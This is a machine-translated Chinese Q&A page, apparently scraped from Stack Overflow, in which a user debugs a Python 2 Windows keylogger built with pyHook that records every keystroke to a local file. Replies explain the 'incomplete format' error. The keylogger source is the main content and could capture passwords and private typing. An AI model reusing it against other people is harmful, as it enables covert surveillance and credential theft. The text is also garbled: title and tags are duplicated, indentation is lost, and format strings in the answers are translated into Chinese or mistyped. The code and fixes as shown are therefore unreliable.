Python ValueError:格式不完整
我在youtube上看了一个教程,这个教程一开始就很有缺陷,但这是我能找到的最好的教程。我已经安装了pywin32和pyhook,它们都已安装,所以我不知道它可能是什么Python ValueError:格式不完整,python,python-2.7,keylogger,Python,Python 2.7,Keylogger,我在youtube上看了一个教程,这个教程一开始就很有缺陷,但这是我能找到的最好的教程。我已经安装了pywin32和pyhook,它们都已安装,所以我不知道它可能是什么 import pyHook, pythoncom, sys, logging file_log = 'C:\Users\Nathan\Fun Stuff\log.txt' def OnKeyboardEvent(event): logging.basicConfig(filename=file_log, lev
import pyHook, pythoncom, sys, logging
file_log = 'C:\Users\Nathan\Fun Stuff\log.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
“格式”指的是不完整的“%(消息)”
,应为“%(消息)s”
,表示“str转换类型”的s
(参见)-消息通过str
内置输入
“$(message)s”
恰好是默认值,我认为您可以忽略此参数。请参阅。您需要向我们提供您遇到的错误,并告诉我们您试图解决的问题。错误为“值错误不完整格式”在第8行,我放了一个等号,它不再显示错误,但仍然不能正常工作,应该将我所有的按键记录到log.txt中,但日志文件没有播下任何东西,我不再收到格式错误,但在这一点上,它没有像应该的那样将按键记录到log.txt文件中